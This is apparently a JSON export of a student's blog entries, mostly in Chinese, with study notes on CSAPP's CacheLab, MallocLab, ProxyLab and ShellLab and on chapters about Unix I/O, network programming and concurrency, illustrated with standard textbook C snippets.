[{"content":" CSAPP Learning # This document is specially for CacheLab of book CSAPP.\nPartA Writing A Cache Simulator # 这一部分其实比较简单，主要得熟悉一下C语言里面命令行参数读取，文件读取，指针，结构体声明，malloc的写法\n读东西的活全部扔给LLM做了，我是 \u0026#x1f437;\n发现几个比较有意思的点：\n如何分出64位内存地址的Tag/Set Index/Block，这里要用到之前学过的位运算 通过Set Index做的寻Set过程依然类似于下标寻址，它的访问复杂度是 $O(1)$ 但是具体处理下标里的E个cache line，访问需要遍历，复杂度是 $O(E)$ PartB Optimizing Matrix Transpose # 这一部分我们需要优化三个尺寸的矩阵转置函数，测试使用的是S=5，E=1, B=5的direct-mapped形态：\n32 * 32 64 * 64 61 * 67 instruction里面明确的提了\nBlocking is a useful technique for reducing cache misses.\n问题1： 为什么Blocking是有效的？ # 同一个CacheLine里面可以塞下32个不同的内存地址，一个int占4字节，一个Set里有一个Cacheline，\n所以我们有，一个Set里面可以塞32/4=8个 int。\n比如对于一个32*32的Matrix，我们现在读 A[0][0] 读进了某个Set，意味着我们把 A[0][0] 到 A[0][7] 全部放进了这个Set里面。\n我们对这个过程来看，是人畜无害的，A[0][0] 到 A[0][31] 会进入4个不同的Set里面。\n接下来会把这一些值给赋值进入 B[0][0] 到 B[31][0]。\n这个时候就没这么幸运了。\n2^10 = 1024，这意味着每隔着1024个字节，末10位数字相同就会冲突（Tag不同），\n也就是说正好的情况下，我们的Cache最多容纳下256个int。\n对于32*32的矩阵来说，这相当于256/32 = 8行。\n现在我往里面写B[0][0]到B[7][0]，这是没关系的。\n我再往里写B[8][0]，这个时候冲突发生了，会把已有的B[0][0]顶掉，而且是必然发生的。\n所以，不妨换一种方法：\n每次和遍历同顺序地处理一个 8*8 的小块，这样能够避免写入B的时候必然发生的打架。\n这样我可写B[0][~]到B[7][~]的区块的时候一次写64个，之前一次写8个，冲突减少了大部分。\n问题2：但这里我所有的A与B都用的同一个Cache啊？ # 恭喜你，你发现了另一个造成大量Miss的原因：\nA和B争抢位置。\n别的地方我们不知道，但事实上光主对角线位置的打架就够喝一壶的了，因为A和B的存储地址连续。\n这里我们需要使用寄存器作为临时存储，这样我们可以先读完A的8个，再把这8个写进B。\n注意局部变量不能太多。不然它们多的部分会被直接写进内存，反而降低效率。\n我们令8个局部变量v0-v7，先把A的8个写进对应的，再将它们赋值进B。\n那我不能用数组v[8]做遍历枚举吗？\n不能。数组是会直接存进内存的。 总结1：到这里我们完成了对32*32矩阵优化方法的构建。 # 最理想情况下我们不包括传参，用到了9个Local Variables：\nv0 - v7 i\n在题目要求的 At Most 12 Local Variables per function 的范围内。（这里和实际硬件略有出入，不过还是可以说明我们变量数是合理的） 问题3：为什么我在64*64的情况下，我的8*8反而比4*4跑的慢了？ # 因为这个时候，Cache里面最多放得下矩阵的256/32=4行。\n写入B[0][0]到B[3][0]的时候还是没有问题的，但是B[4][0]就炸了。\n也就是说，我们的主线是解决B自己和自己打架的问题。\n但是单纯用4*4也没法满分啊？\n因为这个时候我们每次读A的时候Set里面存进了8个，但我们只用了4个。\n为什么后4个再用要重新发生miss?\n理由同上，由于A和B是存储地址连续的，64*64的情况下对角线打架的影响会更大。\n所以我们要研发一个解决方案。\n我一开始给的解决方案： 引入v8-v11，每次v0-v7先读A[0][0~7]，然后把v0-v3先写了，再用v0-v3读A[1][0~3]，v8-v11读A[1][8~11]，再写v0-v3，再写v4~v11。\n我的想法： 这样我可以每次都利用好8个A读进来的，并且能一次写8个再发生冲突，做到一定程度上的优化。\nLLM给的解决方案：\n这样可以直接写完32个B的前4行再去写后4行\n注意一个点：右上区块我们写的直接是转置形式。\n如果我们不转置，那就意味着我们一次会摸到B的4~7全部四行，然后发生大规模的冲突！\n所以我们最好先把转置过的形态放进右上角，这样我们往左下角写的时候可以直接一行一行写。\n那我右上角竖着读，横着写行不行？\n依旧会发生和不转置类似的问题，在写的时候行列不同步就是会造成这样的问题的。\n从for循环遍历的角度来讲，这样写可以让B的第0行用完了就再也不用了，占着Cache坑位的变成了第4行，冲突自然变少。\n反思我的解决方案有什么不好？\n一次只能处理8个，而且要来回横跳4次，并且要极限地使用至少12个local variables才能完成，效率显然不高，代码也会更复杂。\n总结2：对64*64矩阵的优化，我们实质上解决了在8*8处理的时候会产生冲突的部分。 # 问题4：为什么61*67时候，我不用设一堆的v0-v7了呢？ # 回忆一下前面为什么要令一堆v0-v7：我们要防止对角线打架。\n但在这里异形的情况下，对角线是不可能打架的，而且61和67大质数的情况将任何打架的风险都降得很低。\n问题5：为什么61*67的情况下，我采用16*16分块的方法效率是最高的？ # 因为一方面，16是8的倍数，所以读进A的使用率是100%，它们一口气存进B打架的可能性也不高，这说明了16*\\16的效率不会比8*8要低。\n另外一方面，别忘了最重要的制约打架的因素：每隔1024个字节就会映射进同一个Set里面！也就是说8*8的分块让Spacial locality更坏了，位置之间的相对跨度变大，触发这一条惩罚受到的miss影响更大。\n此外，相比32*32乃至于不分块等方法，16*16又能够充分地保护住，减小打架可能性。\n问题6：边缘的情况怎么办？ # 我们不用特别操心，让for循环条件写成k \u0026lt; N \u0026amp;\u0026amp; k \u0026lt;= i + block_size就可以了。\n对边缘做一些无谓的优化很可能进一步破坏它的空间局部性，最后适得其反。\n总结3： Miss影响性和分块大小之间应该是一条U形曲线，小了和大了都会加大惩罚，16*16位于曲线的底端位置。 # By Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/cachelab/","section":"Learning","summary":"","title":"csapp cachelab","type":"learning"},{"content":" CSAPP Learning # This document is specially for MallocLab of book CSAPP.\n解法原理 (87/100) # 同时结合分隔空闲列表的块大小分组方法简化复杂度。\n注意我们是被禁止使用全局静态数组的，所以分组的指针存在堆的最开头位置。\n#define HEADER(p) (*(unsigned int *)((char *)(p) + OFFSET)) #define SIZE(p) (HEADER(p) \u0026amp; ~0x1) #define ISALLOCATED(p) (HEADER(p) \u0026amp; 0x1) int getSeg(unsigned size); ... 注意定义一些 宏 和 辅助函数 来简化代码。\n时间复杂度分析 # malloc() - 优化过的 $O(n)$ free() - $O(1)$，合并情况最坏 $O(n)$ realloc() - 参考上述 空间优化策略 # 时间分比较容易拿满，空间利用率比较关键\nfree() 时检查前后块能否合并 尾部未分配的时候可以占用一部分尾部再去扩充堆 realloc 时原地的增大/减小空间 \u0026hellip; By Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/malloclab/","section":"Learning","summary":"","title":"csapp malloclab","type":"learning"},{"content":" CSAPP Learning # This document is specially for ProxyLab of book CSAPP.\n什么是代理？ # 代理（Proxy）是网络连接中间的翻译官，它既是一个服务端，也是一个客户端。\n科学上网用的梯子，就是典型的网络代理。\nPartI 搭建基础 # 在Proxylab里面，我们的任务就是把用户发的HTTP 1.1请求翻译成HTTP 1.0，然后打包发给目标服务服务器。\nHTTP是一个建立在纯文本基础上的高级协议，在Python里面集成过 request 包，可以自动解析处理，而在C里面，我们必须要手动处理字符串。\n整个过程的流程：\n和客户端建立链接 获取对应信息 打包封装字符串 发给目标服务器 从目标服务器获取资源 发还给客户端 代码实现是完全的板子代码。\nHTTP和板子代码的 getaddrinfo 是一个东西吗？ # 不是。后者是建立在底层的socket上。\nPartII 并发实现 # 我们通过线程给所有连接的客户端创建一个线程，然后处理任务，注意每个线程传入一个参数，即对应客户端的文件描述符connfd。\n传参姿势与预防竞争条件 # 可能有很多个线程同时进行，我们不可能把connfd存在一个变量里，但是就算分开赋值也会出现问题：我们没法确定赋值和获取到新的connfd值谁更先进行。\n所以我们要在 main 里面先 malloc 堆区地址给 connfd 存储，给线程传入指针，然后该线程结束时线程内部 free 掉区块。\nPartIII Cache # 由于代理访问服务器的时间需求很长，为了方便访问，我们需要在Proxy上做缓存，存一些相关的文件数据，这样可以直接提供一部分以提高效率。\n#define MAX_CACHE_SIZE 1049000 #define MAX_OBJECT_SIZE 102400 #define MAXLINE 8192 static int cache_used = 0; struct Cache{ char url[MAXLINE]; int history; char content[MAX_OBJECT_SIZE]; int size; } cache[8]; 我们根据要求手动创建一个8长度的 cache 结构体数组，这样避免手动 malloc 挤占堆区且不方便管理。\n然后定义\nint cache_load(char url[MAXLINE]); void cache_save(char url[MAXLINE], int size, char content[MAX_OBJECT_SIZE]); 这两个方法。\n注意C的细节问题：字符串最后一位以 \\0 终止，但我们读写（二进制）文件的时候，由于文件编码可能中间出现 \\0，所以读写字符串和二进制bytes的方法不同。\n其余实现方法同Cachelab。\n锁怎么用？ # 这里涉及到公共变量的读写，我们必须要调用锁，但是只有在最关键的读写公共变量前后才上锁/解锁，避免堵塞其他线程。\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/proxylab/","section":"Learning","summary":"","title":"csapp proxylab","type":"learning"},{"content":" CSAPP Learning # The document is specially for ShellLab of book CSAPP.\n用法补充 # pid \u0026amp; kill() \u0026amp; waitpid() # 参数 pid 的值 waitpid 的行为目标 kill 的行为目标 pid \u0026gt; 0 等待 PID 正好等于 pid 的那个特定子进程。 把信号发送给 PID 正好等于 pid 的单个进程。 pid == 0 等待与调用者同属一个进程组的任意子进程。 把信号发送给与调用者同属一个进程组的所有进程。 pid == -1 等待任意一个子进程。 把信号广播给有权限发送的所有进程（极度危险！）。 pid \u0026lt; -1 等待进程组 ID 等于 pid 绝对值 的任意子进程。 把信号发送给进程组 ID 等于 pid 绝对值 的所有进程。 但是 waitpid() 如果返回了-1，这意味着没有任何对应的子进程，或是出现了错误。\n而 fork() 如果返回了0，这意味着 fork() 在子进程中执行。\n注意 kill() 函数方法是向特定的 pid 发送特定的信号，不是简单的杀死进程。\nwaitpid() 它针对 stopped 和 terminated 的进程有着不同的策略。只是stopped并不会清理干净对应进程的内存。\nwaitpid() 的 options 有以下若干可选参数（二进制位保存用 | 连接）：\n0 - 默认处理，即挂起直到目标进程返回。 WNOHANG - 如果没有子进程终止，立即返回 0。 WUNTRACED - 除了终止的，如果子进程停止了也返回。 WCONTINUED - 如果停止的进程收到 SIGCONT 重新开始运行也返回。 而指针变量 *statusp 有：\n宏命令 含义 WIFEXITED(status) 如果子进程正常退出（调用 exit 或返回），则为真。 WEXITSTATUS(status) 在上面为真的情况下，提取具体的退出状态码。 WIFSIGNALED(status) 如果子进程是因为未捕获的信号而终止的，则为真。 WTERMSIG(status) 提取导致进程终止的信号编号（比如被 Ctrl+C 后的 SIGINT）。 WIFSTOPPED(status) 如果子进程当前是停止状态，则为真。 WSTOPSIG(status) 提取导致进程停止的信号编号（比如 Ctrl+Z 后的 SIGTSTP）。 有两类，一类是专门返回布尔值的是不是，还有一类专门做位运算取值，实际操作不要做混淆。\nsigprocmask() 与信号阻塞 # sigset_t mask, prev_mask; sigemptyset(\u0026amp;mask); sigaddset(\u0026amp;mask, SIGCHLD); sigprocmask(SIG_BLOCK, \u0026amp;mask, \u0026amp;prev_mask); sigprocmask(SIG_SETMASK, \u0026amp;prev_mask, NULL); 这里我们做的事是屏蔽SIGCHLD信号，sigprocmask() 的三个参数分别是操作类型，实施策略，旧备份存档。\n这个过程的重要工程思想是状态保存与恢复，因为在异步编程的环境下我们没法猜测先前设定了什么状态，加了什么信号阻塞，尤其是代码长的情况下。\n为什么要信号阻塞？ 并发编程中，我们无法控制两个进程谁先谁后到达某个位置，也没法控制信号什么时候被捕捉到。\n比如刚 fork() 完一个进程，这个子进程运行结束并发送了 SIGCHLD 信号，\n结果主程序连addjob的事情都没有做，就要跳到sigchld_handler去删掉这个进程并deletejob。\n然后就会引发一些诡异的事情，包括但不限于段错误，误删等等。\n在下面的原理图当中，没有Block的行为，那么SIGCHLD直指向addjob前面的位置也不无可能。\nC语言字符串操作比较，指针变量操作等（不再赘述） # 工作原理 # 异步编程实际上是一个对时间轴掐关键帧的过程。\nwaitfg() 有什么用？ 因为我们这里挂着的还是tsh的页面\n（图中所有线段都只满足拓扑学意义，并非线性时间轴！）\n细节问题 # 为什么这里的 signal 感觉是即时触发的，尽管事实上应该是只在Kernel Mode到User Mode的一瞬间发生的？ # 事实上确实只在Kernel Mode到User Mode的一瞬间发生，但是由于\nCPU一秒几百上千次的硬件定时器会强制切换刷新 频繁的系统函数调用 CPU多核情况下的协作 导致所有信号的接收都是几乎瞬时的。\n我们这里所谓前台进程是不是没被挂出来，而是模拟的tsh不输出东西挂着? # 是的。\n这和真实的Shell有所出入，也正如上面一个图所示，我们在终端里Ctrl+C的时候实际上是把这个 SIGINT 发给了 waitfg() 中的tsh，而非前台进程本身，如上图所示。\n换言之，我们也可以发现，当我们在Shell中敲下 ./runner 的时候，所发生的也远不止 fork() + execve 那么简单。\n如果与真实情况一致，会导致实验难度巨大幅度上升。\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/shelllab/","section":"Learning","summary":"","title":"csapp shelllab","type":"learning"},{"content":" CSAPP Learning # This document is specially for Chapter 10 of book CSAPP.\n文件和文件操作 # Unix I/O 文件读写包括以下基础操作：\n打开文件，返回文件标识符对应三种状态 stdin = 0，即从输入设备输入 stdout = 1，即要让输出设备输出 stderr = 2，错误 改变文件位置 读写文件 关闭文件 什么是文件标识符？\n当一个进程被创建时，内核会为它分配一个非负整数；而每一个进程都有一个文件标识符表，通过索引映射到更深层的文件对象。0/1/2是新进程被创建时预先占用的id。\n比如说，我们的 runner 进程开始运行了，它自身就占有了0/1/2这三个标识符在标识符表内；\n此时我们open了另一个文件 wug.txt，会给它分配一个标识符3。这个3会当close它的时候被清除。\n如果我们重复open它，依然会给它分配新的文件标识符。\nLinux文件有三种类型：\nregular file directory - 指针，指向文件或文件夹（孩子与父母） socket - 网络文件 C语言写法 # int open(char *filename, int flags, mode_t mode); flags - 权限与操作方式，用 | 链接；\nmode - 允许访问的二进制位数\n返回文件标识符。\nint close(int fd); 成功返回0，失败返回-1。\nssize_t read(int fd, void *buf, size_t n); // Returns: number of bytes read if OK, 0 on EOF, −1 on error ssize_t write(int fd, const void *buf, size_t n); // Returns: number of bytes written if OK, −1 on error 逐字节读写：\nchar c; while(read(STDIN_FILENO, \u0026amp;c, 1) != 0){ write(STDOUT_FILENO, \u0026amp;c, 1); } short counts 与阅读越界及优化 # short counts发生在实际读取到的字节数少于请求的字节数的时候，比如遇到了网络中断，EOF等。\n这可能造成阅读越界。阅读越界是读到了逻辑上不完整的部分，比如逐行读取，为了方便先一次性抓取了512个字节再进行处理，结果512字节包含了实际4.5行的内容，最后一行内容不完整逻辑断裂。\n它们不会明显地引发错误，会由于大块读取，读取命令行，读写网络文件等条件触发。但是为了程序的Robust，我们有必要去处理优化这个越界行为，因为当发生了short counts之后不经过检查，继续阅读文件，就可能会出现逻辑断层等问题。\n针对这个优化，csapp给出了一个rio方案。\n无缓冲的 rio_readn rio_writen，检测到short counts的情况下会继续整体地索要剩下的未读到的数据字节，直到EOF等强制结束因素或字节读完为止。但是缺点是多次发起请求效率低下。\n有缓冲的 rio_readinitb, rio_readlineb, rio_readnb\n定义了结构体\n#define RIO_BUFSIZE 8192 typedef struct { int rio_fd; /* Descriptor for this internal buf*/ int rio_cnt; /* Unread bytes in internal buf */ char *rio_bufptr; /* Next unread byte in internal buf */ char rio_buf[RIO_BUFSIZE]; /* Internal buffer */ } rio_t; 一次抓完大量的，然后再仔细处理，抓取的内容都会存在 rio_buf 里面。\n这两种方法混用可能会导致冲突打架，因为有缓冲的是把数据存在结构体里。\n读取文件Metadata # 通过 stat 与 fstat 函数返回的 stat ，描述了文件的一些属性。\nstat 使用filename作为输入，而 fstat 使用文件描述符。\n读取文件夹 # DIR *opendir(const char *name); //Returns: pointer to handle if OK, NULL on error struct dirent *readdir(DIR *dirp); //Returns: pointer to next directory entry if OK, NULL if no more entries or error struct dirent { ino_t d_ino; /* inode number */ char d_name[256]; /* Filename */ }; int closedir(DIR *dirp); //Returns: 0 on success, −1 on error 共享文件 # Linux对每个打开的文件在内核中维护了：\nDescriptor table - 每个进程都有一个，文件标识符为索引，指针指向flie table File table - 被所有的进程共享，包括 当前的文件位置 reference count: 被多少个进程共享 一个指向v-node table的指针 v-node table - 基本包含着文件属性的内容，被所有进程共享 从而我们可以理解，fork() 时子进程相当于复制了父进程的descriptor table。\nI/O重定向 # int dup2(int oldfd, int newfd); //Returns: nonnegative descriptor if OK, −1 on error 更改文件描述符，会覆盖原位置上的文件，强行关闭它。\n标准I/O流以及操作函数的使用 # The C language defines a set of higher-level input and output functions, called the\nstandard I/O library, that provides programmers with a higher-level alternative\nto Unix I/O.\nFILE 类型的文件流是对一个文件文件描述符和流缓冲区的集成抽象，这个buffer缓冲区的工作原理类似于rio。\n使用建议 # 尽可能使用标准输入/输出流。 不要用 scanf or rio_readlineb 读取二进制文件，它们实现上专门用来读文本文档。 读写操作网络文档使用 rio，标准I/O流可能会出问题。 原因是它在对同一个流同时读同时写的兼容性上比较差。\n限制 1（写完想读）： 如果你刚执行完“输出（写）”，接下来想“输入（读）”，中间必须穿插调用 fflush（清空缓冲区）、fseek、fsetpos 或 rewind（重置文件指针位置）这几个函数之一。\n限制 2（读完想写）： 如果你刚执行完“输入（读）”，接下来想“输出（写）”，中间必须穿插调用 fseek、fsetpos 或 rewind（除非你读到了 EOF）。\n而在网络文档中，fseek 倒带移动文件指针是不可行的。\nFILE *fpin, *fpout; fpin = fdopen(sockfd, \u0026#34;r\u0026#34;); fpout = fdopen(sockfd, \u0026#34;w\u0026#34;); fclose(fpin); fclose(fpout); 这个方法不可行的原因：这个文档的 reference count 因只有一个进程所以值为1，关2次可能会出问题，在并发编程的环境下可能引发更大的问题。\n只close一次会导致内存泄漏，与某个文件直接相关的内存（比如 FILE 类的存储）无法被释放。\n案例回顾：scanf() 与 printf() # 它们就是用了 stdin（文件标识符0） 和 stdout（文件标识符1）这两个东西。\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.10/","section":"Learning","summary":"","title":"csapp 第10章 文件","type":"learning"},{"content":" CSAPP Learning # This document is specially for Chapter 11 of book CSAPP.\nclient 和 server # 关注两对概念与工作流程：\nclient \u0026amp; server request \u0026amp; response 网络数据的传输 # 最重要的是体现了封装的思想。\n但是依然有很多的细节问题没能解决：\nThe Global IP Internet: 统一性 # 它使用TCP/IP协议，其中包含解决数据丢失问题的UDP等。\nIP Address IP地址 # 相当于住址信息，要上哪里去找人。\n在网络上传输的字节数据都使用大端法存储，尽管主机中是小端法。\nInternet Domain Names 域名 # 本地部署的是 127.0.0.1 (localhost)。\nDNS (Domain Name System) 指的是域名到IP的映射。\nInternet Connections 网络连接 # 使用Socket（套接字）来保证信息传输准确性。\nSocket Address包括 ip地址 + 16位整数端口号 (port)。\n有一些约定俗成的常用端口号，比如email服务用25，Web服务器用80。\nSocket Interface 套接字接口 # 相关方法实现 # int socket(int domain, int type, int protocol); int connect(int clientfd, const struct sockaddr *addr, socklen_t addrlen); int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); int listen(int sockfd, int backlog); int accept(int listenfd, struct sockaddr *addr, int *addrlen); int getaddrinfo(const char *host, const char *service, const struct addrinfo *hints, struct addrinfo **result); void freeaddrinfo(struct addrinfo *result); const char *gai_strerror(int errcode); 工作原理：\n转换 - 将主机名称 host 和 端口 service 自动安全地转换成复杂的网络通信需要的二进制结构体。 获取 - 访问DNS服务器，获取对应的IP等信息 个性化 - 将获取的信息可以通过 hints 设置喜好，以特定形式提供给用户 freeaddrinfo 的功能是释放 getaddrinfo 的内存，防止内存泄漏。\nai_flags 可以通过掩码位运算得到对应的hints内容； ai_family ai_socktype ai_protocol 都可以直接作为参数传给 * socket；\nai_addrlen 和 ai_addr 又分别可以传给 bind 和 connect。 此外这里我们把 result 传参传入，函数直接修改 result 对应的内容。\n为什么result要设计成双重指针？\n因为一个域名可以有很多个不同的ip地址对应。 int getnameinfo(const struct sockaddr *sa, socklen_t salen, char *host, size_t hostlen, char *service, size_t servlen, int flags); 这个是上述的逆操作，如果不想要*host，把*host设成NULL，hostlen参数置0即可。\nflag 也是位掩码，设置返回格式，比如service name还是port。\nservice name 与 port 有什么区别和联系？\nservice name是对一些特殊状态端口号的别名区分，比如 80 对应 http。 此外，csapp给了两个扩展方法：\nint open_clientfd(char *hostname, char *port); int open_listenfd(char *port); 这两个方法封装了整个建立连接过程，直接返回对应文件的文件标识符。\nWeb Servers # Web是用户应用层面的存在，区分于FTP的文件检索特征，它使用HTTP协议，用HTML语言书写。\nWeb content # Web服务器中的文件资源，通过两种方式提供：\n提供静态内容，比如 https://tab-ibito.github.io/learning/bomblab 运行可执行文件返回结果，即动态内容。 所有文件都通过URL定位。可执行文件的启动项参数通过 /?id=1\u0026amp;name=Tabibito 的后置项输入。\n有三个特征：\n静态和动态不显著区分 URL的第一个斜杠不是真实服务器机器本地目录，只是虚拟的 类似于我们输入 https://www.bilibili.com 的情况，浏览器自动会补全斜杠+index.html HTTP Request \u0026amp; Response # 建立链接后，通过Request和Response的特定对话方式获取内容。\nHTTP Request的格式： # 第一行：Request Line 请求行 方法(Method) URI 版本(Version) GET / HTTP / 1.1 第二行：Request Header 请求报头 名字: 内容 Host: www.aol.com 第三行：结束 \\r\\n 这是我们所说的 GET 方法。\nHTTP Response的格式： # 第一行：Response Line 响应行 版本(Version) 状态码(Status-code) 状态信息(Status-message) HTTP/1.0 200 OK 第二行：Response Headers 响应头 关于content的信息 Content-Type: text/html Content-Length: 42092 第三行：空行 \\r\\n 后面是响应体 (Response Body)，即HTML代码或MIME文件内容 Serving Dynamic Content # Request方面，通过 /?id=1\u0026amp;name=Tabibito 的后置项输入传参（CGI-Environment）。\n服务器接受之后会 fork 并 execve 对应地址内容的子进程，传入参数开始工作。\n子进程把输出结果给到 stdout，但是它重定向到对应socket的文件描述符去，即 dup2(connfd, STDOUT_FILENO)，这个过程发生在执行 execve() 前。\n此外，子进程有完成HTTP Response的责任。\nBy Tab_1bit0\n","date":"14 March 2026","externalUrl":null,"permalink":"/learning/ch.11/","section":"Learning","summary":"","title":"csapp 第11章 网络编程","type":"learning"},{"content":" CSAPP Learning # This document is specially for Chapter 12 of book CSAPP.\nConcurrent Programming 的三种实现 # Concurrent Programming with Processes # 特点：对于每一个client，server都会 fork() 一个新的子进程对应处理。\n优点：每个子进程都有各自独立的虚拟内存，运行独立而安全。\n缺点：\n子进程无法直接共享信息，只能借助IPC (interprocess communications) 进行， 此外IPC和运行切换上下文时间成本高。 Concurrent Programming with I/O multiplexing # 特点：基于I/O多路复用。\n即我们人为的编辑了一张 fdset，并通过 select 告诉系统挂起原进程，监听这个集合里面的对应文件的读写操作，select 监听到后，也会重置 fdset，告诉用户哪个文件的读写被监听到。\nfdset 实质上是一个n位二进制数，低往高第k位代表是否监听了文件描述符为k的文件。\n我们用 FD_ZERO 等这四个宏来操作这张 fdset 。\n网络文件的读写操作直接点对点进行，不需要对stdin/stdout重定向。\n案例 # CSAPP书中用结构体 pool 维护了这么一个事情\n在一个大的 while(1) 里面:\n一开始 pool 的 read_set 里面只有listenfd和stdin 然后 ready_set 和 read_set 同步， select 挂起 ready_list 如果是listen_fd被监听到了，那么就 accept() 建立链接，并把它加到池子里 我们通过 pool 真正的实现了多个文件同时打开的高并发模式。\n优缺点 # 优点：\n对 ready_set 的管控程度高，可以决定对fd的优先级逻辑 运行在同一进程中，可以共享数据 Debug更加容易 没有上下文开销，性能高 缺点：\n代码复杂度高 本质是单进程，容易被卡死 (vulnerable to a malicious client that sends only a partial text line and then halts) 无法利用多核CPU Concurrent Programming with Threads # 一个进程中产生若干线程，每个线程都有独立的context，包括线程 ID (TID)、程序计数器 (PC)、寄存器集合，以及独立的程序栈 (Stack)。\n但是，一个进程中所有线程共享相同的虚拟地址。\n这里会发生context switch，但是相比进程而言更快。它会由于慢的 sleep() 或 read 等系统函数触发，也会因为系统内部定时器触发。\nC语言线程实现：pthread # void *thread(void *vargp) /* Thread routine */ { printf(\u0026#34;Hello, world!\\n\u0026#34;); return NULL; } 人工声明某个线程内部做什么事情，传到下面func *f的地方。\nint pthread_create(pthread_t *tid, pthread_attr_t *attr, func *f, void *arg); pthread_t pthread_self(void); void pthread_exit(void *thread_return); int pthread_cancel(pthread_t tid); int pthread_join(pthread_t tid, void **thread_return); int pthread_detach(pthread_t tid); 通过 pthread_create 创建一个线程。\npthread_self 返回当前线程tid值。\npthread_exit 显式终止线程，如果进程的主线程调用，那么会先等同伴线程都终止，在终止主线程和进程。\npthread_cancel 传入tid，终止该线程。\n如果某个线程调用exit()函数终止，那么会把所有线程和进程一并终止掉。\npthread_join 等待特定线程终止。\npthread_detach 使得线程从默认的joinable变成detached，这意味着它不能被其他线程监控或终止，也意味着它的内存区域清理发生在终止后系统自动清理。\n注意到thread_return指针是为了回收相应joinable线程的内存空间，防止内存泄漏。\n#include \u0026lt;pthread.h\u0026gt; pthread_once_t once_control = PTHREAD_ONCE_INIT; int pthread_once(pthread_once_t *once_control, void (*init_routine)(void)); 初始化，定义一些全局变量时用。\n案例 # Shared Variables # 有三种类型\n全局变量 局部静态变量 局部自动变量 前两者存在数据读写区里面，而局部自动变量存在独立的程序栈中。\n但是我们要注意， local automatic variables such as msgs can also be shared.\n做法：通过跨栈指针，把某个变量地址贴到全局变量，然后直接对地址操作读写。\nSynchronizing Threads with Semaphores # void *thread(void *vargp) { long i, niters = *((long *)vargp); for (i = 0; i \u0026lt; niters; i++) cnt++; return NULL; } 我们同时运行两个这个线程，最后会发现 cnt的值不等于2*niters，并且每次运行结果都不相同。\n为什么？ # cnt(%rip) 是特殊相对寻址方式，因为 cnt 是全局变量。\n因为这里线程工作顺序可能会乱套。汇编的角度而言，cnt++ 的过程包括了Load, Update, Save三步的过程。如果两个 cnt++ 的时序错乱了，就会出现存值的错位情况。\n为什么有两个%rdx?\n因为寄存器值虽然确实在CPU中计算的，但它们也同样存在线程的context里面，不同线程之间的寄存器不共用。 Process Graphs 进程图 # 根据两个进程的执行走向transition顺序，我们可以画出进程图 trajectory（轨迹）\n在上面案例中，我们的 Load \u0026ndash; Update \u0026ndash; Save 是关键步骤，绝对不可以互相打断，即在 Unsafe Region 中执行会导致出错。\n我们必须要 synchronize（同步），a classic approach is based on the idea of a semaphore（信号量），实现 Mutual Exclusion（互斥）的机制。\n缺陷：进程图是单核下的产物，多核运作会失效，但是上锁的核心思想一致。 Semaphores 信号量 # Edsger Dijkstra发明。\nP(s) 如果 s 非零，那么P将s递减1后马上返回。 如果 s = 0，那么挂起该线程，直到被 V(s) 重新将s置非0； V(s) 将s递增1，如果有多个被挂起的线程为0，那么只会唤醒其中一个，并将s置1。 在C语言中通过以下方法维护：\n#include \u0026lt;semaphore.h\u0026gt; int sem_init(sem_t *sem, 0, unsigned int value); int sem_wait(sem_t *s); /* P(s) */ int sem_post(sem_t *s); /* V(s) */ 这个s相当于是一个开启进入 Critical Session 的钥匙锁，一人一用。\n我们把核心代码改成：\nP(\u0026amp;mutex); cnt++; V(\u0026amp;mutex); 为什么P和V操作可以保证是原子性的？\n因为经过了操作系统和硬件的特殊封装，提供给它们特用的自旋锁。\nProducer-Consumer Problem # The producer generates items and inserts them into a bounded buffer. The consumer removes items from the buffer and then consumes them.\n注意这个过程中对buf区域的保护。\nReaders-Writers Problem # 这是互斥问题的泛化形态称呼。特点是读可共享，写需独占。\n两类做法：\n第一类：利好Readers。只有当没有任何Reader在读数据，Writer才有权限工作。换言之，拿缓冲区钥匙权限等级 Readers \u0026gt; Writers 第二类：利好Writers。Writer只需要待在序列中的Readers读完，就可以上去工作，而不管排队时后面来的Readers。 注意 readcnt == 0 的条件。\n我们也可以通过这个模型实现类似I/O多路复用中的Event Driven机制。\n线程与并行编程 # 实际的CPU是多核并行，而并行（Parallel）是并发（Concurrent）的subset，要针对并行进行优化。\n针对\n唯一全局变量上锁 全局数组，每一个元素放给一个进程修改 使用局部寄存器，最后一次才加给全局变量 这三种方法来运行 psum 的求和运算任务，我们发现上锁解锁，访问主存的时间成本很高，并且过度上锁拖累效率。\n我们用Speedup（加速比）以及Efficiency（并行效率）衡量增加线程数带来的改变。\n$$S_p = \\frac{T_1}{T_p}$$\n$$E_p = \\frac{T_1}{p*T_p}$$\n弱扩展与强扩展（Weak/Strong Scaling）是两个重要的性能考核指标。\n前者控制线程数和处理量都增加； 后者只控制线程数增加，处理量保持不变。 一般弱扩展反应更真实，更有参考价值。 其他并发问题 # 线程安全性 # 有四类不安全的线程操作：\n不保护共享变量 函数被多重调用，比如 rand 伪随机种子生成 解决方法：重写函数 函数返回指向static变量的指针 解决方法： 重写函数，参数项让caller提供指向储存结果的指针，消灭共享变量 如果没法修改这个函数：先上锁再调用函数复制结果后解锁 (lock-and-copy) call了线程不安全的函数 解决方法：同样是lock-and-copy Reentracy 可重入性 # 一种特殊的线程安全的函数，它消灭了所有共享变量，改用各自独立的程序栈存储\n显式可重入：函数不调用任何全局变量 隐式可重入：参数项让caller自行提供指向储存结果的指针，需要保证传入的指针指向的是非共享数据 使用已有库中函数 # Most Linux functions, including the functions defined in the standard C library (such as malloc, free, realloc, printf, and scanf), are thread-safe, with only a few exceptions.\nRace 竞态条件 # int main() { pthread_t tid[N]; int i; for (i = 0; i \u0026lt; N; i++) Pthread_create(\u0026amp;tid[i], NULL, thread, \u0026amp;i); for (i = 0; i \u0026lt; N; i++) Pthread_join(tid[i], NULL); exit(0); } /* Thread routine */ void *thread(void *vargp) { int myid = *((int *)vargp); printf(\u0026#34;Hello from thread %d\\n\u0026#34;, myid); return NULL; } 发生了什么？\nPthread_create 的时候， \u0026amp;i 把 i 变量的地址交给了新创建的进程，这意味着新进程有直接读写i原值的权限。\n如果新线程的 int myid = *((int *)vargp); 执行的比 i++ 更慢，就意味着i的值不会式预期所示的。这叫做Race。\n解决方法：\nptr = Malloc(sizeof(int)); *ptr = i; 